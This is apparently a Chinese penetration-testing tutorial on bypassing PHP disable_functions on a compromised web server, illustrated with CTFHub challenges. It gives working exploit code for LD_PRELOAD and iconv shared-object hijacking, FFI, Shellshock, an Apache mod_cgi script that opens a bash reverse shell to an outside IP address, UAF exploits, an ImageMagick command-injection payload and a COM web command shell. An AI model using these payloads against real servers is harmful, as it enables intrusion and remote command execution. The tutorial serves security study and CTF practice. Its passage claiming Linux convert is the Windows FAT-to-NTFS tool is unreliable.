在渗透测试中,有时遇到拿到webshell后无法执行命令的情况,为了成功提权,需要我们绕过disable_function
disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。(eval并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。)
黑名单绕过,难免会有遗漏的函数,我们可以查看phpinfo文件,看看是否有未被禁用的危险函数
如:dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
参考文章
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),新进程 a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。
于是,我们的突破思路如下
1.找到一个可以启动新进程的函数,如mail()函数会启动新进程 /usr/sbin/sendmail 2.书写一个会被sendmail调用的C函数(函数最好不带参数),内部为恶意代码,编译为.so文件,如getuid()函数 3.运行PHP函数putenv(),设定我们的so文件为LD_PRELOAD,设置后新进程启动时将优先加载我们设置的so文件 4.运行PHP的mail()函数,这时sendmail会优点调用我们书写的getuid同名函数,达到劫持执行恶意代码的效果
首先查看sendmail会调用那些函数,这里我们选择geteuid函数,也可以是其他函数进行劫持
readelf -Ws /usr/sbin/sendmail
#readelf只会显示sendmial可能调用的函数,具体调用的函数应该使用strace -f 进行查看
我在实验的时候,发下并没有sendmail这个命令,于是,我在kali下又下载了
apt install courier-mta
apt install dma
apt install esmtp-run
apt install exim4-daemon-heavy
apt install exim4-daemon-light
apt install msmtp-mta
apt install nullmailer
apt install opensmtpd
apt install postfix
apt install ssmtp
然后使用如上命令
然后书写C文件,目的未显示当前目录下的文件
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { system("ls"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
在书写php文件,设置环境变量并执行mail函数
<?php putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#编译c文件后的文件位置 mail("","","",""); ?>
将c文件编译后执行php文件
gcc hack.c -o hack.so -shared -fPIC
艹了,编译不成功,原因找了半天也没找到
。。。。最后在报错的空行加了分号,成功了,不明白原因,希望师傅们解答一下。
然后,我们接着来,执行a/php,发现ls命令被执行成功
在实际情况中,很多机器尚未安装或者禁止了sendmail功能,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件,所以可以采用另一种方式绕过disable_function
系统通过LD_PRELOAD预先加载对象,如果加载时,就直接进行调用,就不用进行劫持绕过
gcc允许为函数设置如下属性,可以让其修饰的函数在mail()函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行
__attribute__((__constructor__)) //constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数
以下是 hack.c代码
#include <stdlib.h> #include <string.h> __attribute__((constructor))void payload() { unsetenv("LD_PRELOAD"); const char* cmd = getenv("CMD");//接收传入的命令 system(cmd);//执行命令 }
以下是php代码
<?php putenv("CMD=ls");#要执行的命令 putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#编译c文件后的文件位置 error_log("a",1); ?>
将.c文件编译好后运行,已执行恶意命令
gcc hack.c -o hack.so -shared -fPIC
结果和上面一样
linux系统
putenv()
mail或error_log
目录可写,需要上传.so文件
ctfhub中web进阶的Bypass disable_function的LD_PRELOAD
懂得都懂,无法执行命令
首先上传.so文件和.php文件[因为再此题得shell下无法执行命令,自然也就无法再gcc下编译,所以上传编译好得.so文件
]
c文件代码
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { system("tec /flag > /var/www/html/flag.txt"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
php文件代码
<?php putenv("LD_PRELOAD=/var/www/html/hack.so");# mail("","","",""); ?>
再网页浏览器中去访问 目标url/test.php
,刷新目录后没有发现,flag.txt得出现,,猜测mail函数被禁用,sendmail也会调用error_log,修改php文件。
<?php putenv("LD_PRELOAD=/var/www/html/hack.so"); mail("","","",""); error_log("",1,"",""); ?>
修改执行后,出现php文件
strace -f php ld_preload.php 2>&1 | grep execve #查看执行该php文件时所创建的进程
我们可以看到调用mail()函数时,创建了新进程调用系统函数/usr/sbin/sendmail
其实这里除了第一个调用PHP解释器本身之外,还调用了/bin/sh,所以其实劫持/bin/sh调用的系统库函数也可以
当靶机系统上没有安装sendmail时,这里劫持/bin/sh的库函数就是一个突破点
execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。 exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数 execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
readelf -Ws /usr/sbin/sendmail #查看/usr/sbin/sendmail可能调用的系统库函数
#readelf -Ws /bin/sh
error_log()
一样的调用了/bin/sh、/usr/sbin/sendmail,与mail()类似
mb_send_mail()
需要安装mbstring模块,利用与mail()类似
imap_mail()
除此之外还有libvirt模块的libvirt_connect()函数和gnupg模块的gnupg_init()函数,基本利用方式都是一样的
__attribute__介绍
__attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)
__attribute__语法格式为:__attribute__ ((attribute-list)) 若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动执行
类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后自动执行
类似构造与析构函数
若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数,所以无需考虑劫持某一函数,只要能ld_preload并执行php调用新进程,就能劫持共享对象从而bypass disable function
简单的exp:
#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void preload (void){ unsetenv("LD_PRELOAD"); system("whoami > /tmp/leon"); }
但是unsetenv()可能在Centos上无效,因为Centos自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环,可以使用全局变量 extern char** environ删除,实际上,unsetenv()就是对 environ 的简单封装实现的环境变量删除功能
在https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.c看到了一个小技巧:
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // executive command system(cmdline); }
使用for循环修改LD_PRELOAD
的首个字符改成\0
这样可以使系统原有的环境变量自动失效
原理简介
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步
Linux 操作系统
PHP >= 7.4
开启了 FFI 扩展且 ffi.enable=true
申明FFI,使用C语言的System函数
$ffi = FFI::cdef("int system(char* command);");
题目取自ctfhub中web进阶的Bypass disable_function的FFI扩展
命令执行依旧被拦
上传exp
<?php $ffi = FFI::cdef("int system(const char *command);");#申明ffi,调用system函数 $ffi->system("tac /flag > /tmp/111");#执行readflag中的命令读取flag echo file_get_contents("/tmp/111"); @unlink("/tmp/111");#删除111文件
直接访问提交即可
目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。
攻击者只需将恶意代码写入到环境变量里,传到服务器端,触发服务器运行bash脚本即可
目标存在shellshock漏洞
版本为PHP 5.*
linux系统
putenv()可用
题目取自ctfhub中web进阶的Bypass disable_function的Shellshock
上传exp
<?php putenv("PHP_flag=() { :; }; tac /flag >> /var/www/html/flag.txt");#设置环境变量,将flag输入到flag.txt中 error_log("",1,"","");
这一关我连的时候,没有直接成功,把加密方式换成了base64解密就成功了
访问exp后得到flag
CGI:CGI ,公共网关接口,它是 Web 服务器与外部应用程序(CGI 程序)之间传递信息的接口。通过 CGI 接口 Web 服务器就能够将客户端提交的信息转交给服务器端的 CGI 程序处理,最后返回结果给客户端。CGI是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程。
MOD_CGI:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.
若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用htaccess文件进行配置
Options +ExecCGI
AddHandler cgi-script .aaa
然后设置.aaa结尾的shell文件(shell.aaa)
#!/bin/bash echo;whoami;uname -a
将.htacess和shell文件上传到指定目录后,需要给shell文件执行权限,下面是大佬的exp
<?php $cmd = "bash -i >& /dev/tcp/119.29.60.71/2333 0>&1"; //command to be executed "nc -c '/bin/bash' 10.11.12.13 8888" $shellfile = "#!/bin/bash\n"; //using a shellscript $shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output $shellfile .= "$cmd"; //executing $cmd function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter { echo "$text: " . ($condition ? $yes : $no) . "<br>\n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script } } ?>
上传exp后,会生成一个shell.dizzle的文件,内容为
#!/bin/bash echo -ne "Content-Type: text/html\n\n" bash -i >& /dev/tcp/119.29.60.71/2333 0>&1
使用条件是
apache环境
mod_cgi已经启用
允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
有权限写.htaccess文件
题目取自ctfhub中web进阶的Bypass disable_function的Apache Mod CGI
使用蚁剑给的工具进行绕过,待到弹出命令窗口时,使用 tac /flag读取flag
如果使用手工绕过的话,线上传test.php,内容如下
<?php $cmd = "tac /flag"; //command to be executed $shellfile = "#!/bin/bash\n"; //using a shellscript $shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output $shellfile .= "$cmd"; //executing $cmd function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter { echo "$text: " . ($condition ? $yes : $no) . "<br>\n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script } } ?>
浏览器访问test.php后,会出现 .htacess和shell.dizzle文件,查看文件内容
Options +ExecCGI AddHandler cgi-script .dizzle
#!/bin/bash echo -ne "Content-Type: text/html\n\n" tac /flag
访问shell.dizzle可以得到flag
原理简介
在了解FPM前需要了解fast-cgi
https://juejin.cn/post/6844903471976546311#heading-11
早期的webserver只处理html等静态文件,但是随着技术的发展,出现了像php等动态语言。 webserver处理不了了,怎么办呢?那就交给php解释器来处理吧! 交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢? 为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序。
有了cgi协议,解决了php解释器与webserver通信的问题,webserver终于可以处理动态语言了。
但是,webserver每收到一个请求,都会去fork一个cgi进程,请求结束再kill掉这个进程。这样有10000个请求,就需要fork、kill php-cgi进程10000次。很浪费资源,于是,出现了cgi的改良版本,fast-cgi。fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。这样每次就不用重新fork一个进程了,大大提高了效率。
php-fpm即php-Fastcgi Process Manager. php-fpm是 FastCGI 的实现,并提供了进程管理的功能。 进程包含 master 进程和 worker 进程两种进程。 master 进程只有一个,负责监听端口,接收来自 Web Server 的请求,而 worker 进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个 PHP 解释器,是 PHP 代码真正执行的地方。
由于FPM默认监听9000端口,所以我们可以通过构造fastcgi协议绕过webserver直接与fpm通信
使用条件
linux系统 putenv()可用 mail()或error_log()可用
题目取自ctfhub中web进阶的Bypass disable_function的PHP-FPM
可以根据蚁剑的插件,进行突破
FPM选择127.0.0.1:9000
上传成功后,会在文件夹下生成一个.antproxy.php
的文件
然后我们去连接这个文件,密码是ant
连接上去之后,我们就可以执行相应的命令,读取flag
插件的原理,我们具体可以参考
https://segmentfault.com/a/1190000038646341
我们先来看一下生成php文件的内容
?php function get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $headers[]="$k:$v"; } } return $headers; } function header_callback($str){ return strtoupper($str[0]); } function parseHeader($sResponse){ list($headerstr,$sResponse)=explode(" ",$sResponse, 2); $ret=array($headerstr,$sResponse); if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){ $ret=parseHeader($sResponse); } return $ret; } set_time_limit(120); $headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout); if(!$fp){ return false; } $method = "GET"; $post_data = ""; if($_SERVER['REQUEST_METHOD']=='POST') { $method = "POST"; $post_data = file_get_contents('php://input'); } $out = $method." ".$url." HTTP/1.1rn"; $out .= "Host: ".$host.":".$port."rn"; if (!empty($_SERVER['CONTENT_TYPE'])) { $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."rn"; } $out .= "Content-length:".strlen($post_data)."rn"; $out .= implode("rn",$headers); $out .= "rnrn"; $out .= "".$post_data; fputs($fp, $out); $response = ''; while($row=fread($fp, 4096)){ $response .= $row; } fclose($fp); $pos = strpos($response, "rnrn"); $response = substr($response, $pos+4); echo $response;
核心代码:
$headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout);
可以看到他正在与60882端口进行通信,事实上,这里蚁剑使用 /bin/sh -c php -S 127.0.0.1:60082 -t /var/www/html 开启了一个新的php服务, 并且不适用php.ini,因此也就不存在什么disable了,那么我们在观察其执行过程中的时候,还发现了在 tmp目录下的一个so文件,那么至此我们有理由推断出其通过攻击php-fpm修改其extension为在tmp目录下上传的扩展库,事实上从该插件的源码中也可以得知确实如此:
那么启动了该php server后我们的流量就通过antproxy.php转发到无disabel的php server上,此时就成功达成bypass。
https://blog.csdn.net/qq_42303523/article/details/117911859
iconv是一个计算机程序以及一套应用程序编程接口的名称。 作为应用程序的iconv采用命令行界面,允许将某种特定编码的文件转换为另一种编码。
我们首先上传一个gconv-moudles文件指定我们自定义的字符集文件的.so文件,内容为
module 自定义字符集名(大写)//INTERNAL ../../../../../../../../tmp/自定义字符集名字(小写) 2 module INTERNAL 自定义字符集名(大写)//../../../../../../../../tmp/自定义字符集名字(小写) 2
然后书写.c文件, 内容为我们希望执行的命令函数,将文件打包为.so文件
#include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { system("希望执行的命令"); }
然后执行shell命令,将文件上传至与gconv-modules文件相同的文件夹下
gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC
书写.php文件,上传目录后,访问即可
<?php putenv("GCONV_PATH=gconv-modules文件目录"); iconv("自定义字符集名", "UTF-8", "whatever");
题目取自ctfhub中web进阶的Bypass disable_function的iconv
蚁剑连接网站后,上传gconv-modules文件到/tmp目录下
module HACK// INTERNAL ../../../../../../../../tmp/hack 2 module INTERNAL HACK// ../../../../../../../../tmp/hack 2
书写hack.c文件
#include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { system("cat /flag > /tmp/flag"); }
现在kali用gcc编译好,然后把.so文件上传到 /tmp目录下
最后在/var/www/html下面上传flag.php文件
<?php putenv("GCONV_PATH=/tmp/"); iconv("hack", "UTF-8", "whatever");
就可以在 /tmp下找到flag
GC UAF漏洞利用PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令。
以下url为exp链接
https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
GC UAF漏洞利用PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令。
Json Serializer UAF漏洞利用利用json序列化程序中的堆溢出触发,以绕过disable_functions和执行系统命令。尽管不能保证成功,但它应该相当可靠的在所有服务器 api上使用。
使用exp只需要修改pwn中的命令
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
题目取自ctfhub中web进阶的Bypass disable_function的GC UAF
修改exp中pwn的内容为,访问文件得到flag
pwn("tac /flag");
ImageMagick是一款开源图片处理库,支持 PHP、Ruby、NodeJS 和 Python 等多种语言,使用非常广泛。包括 PHP imagick、Ruby rmagick 和 paperclip 以及 NodeJS imagemagick 等多个图片处理插件都依赖它运行。
想利用漏洞只需要上传精心制作的图片,ImageMagick会自动转换图片格式,执行恶意代码。
漏洞原理参考p神博客
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。首先在delegate.xml文件中,定义了很多占位符,比如%i是输入的文件名,%l是图片exif label信息,而在之后的command中,部分占位符被拼接在其中,被拼接完的command命令行传入了系统的system函数,导致任意命令执行。
使用现有的docker演示
docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
打开环境后,访问phpinfo文件,查看disable_function,发现了未开启的imagemagic服务
根据这个靶场的描述,我们执行
convert /poc.png 1.png
命令,其实就会触发已经写好的命令执行逻辑
查看其poc为
push graphic-context viewbox 0 0 640 480 fill 'url(https://evalbug.com/"|ls -la")' pop graphic-context
convert 命令在linux下是这样的:convert是在Windows中的文件系统修改命令,Convert将文件分配表 (FAT) 和 FAT32 卷转换为 NTFS 文件系统,而现有的文件和文件夹完好无损。
根据imagemagick的原理进行分析,在处理poc.png时,imagemagick会使用curl命令将其下载,这是imagemagick处理图片的委托,其中%o是curl输出的文件名,%M是远程的URL路径
<delegate decode=“https” command="“curl” -s -k -o “%o” “https:%M”"/>
command中的%M是可以拼接其他指令并被在命令行中执行的。该漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。我们利用poc执行命令
如图所示,成功执行命令
COM component(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术,以WIN32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行代码组成。
加载这个组件后,上传能执行系统命令的利用脚本(可以通过已有的webshell上传,也可以像上传shell一样直接上传):
<?php $command=$_GET['a']; $wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能 $exec = $wsh->exec("cmd /c ".$command); // 调用对象方法来执行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
这个方法的缺点是com组件只有在PHP 5.4版本默认加载,如果非5.4版本需要手动开启
在本地搭建环境,访问phpinfo页面
上传脚本访问
https://clq0.top/bypass-disable_function-php/#reference
https://www.freebuf.com/articles/web/280446.html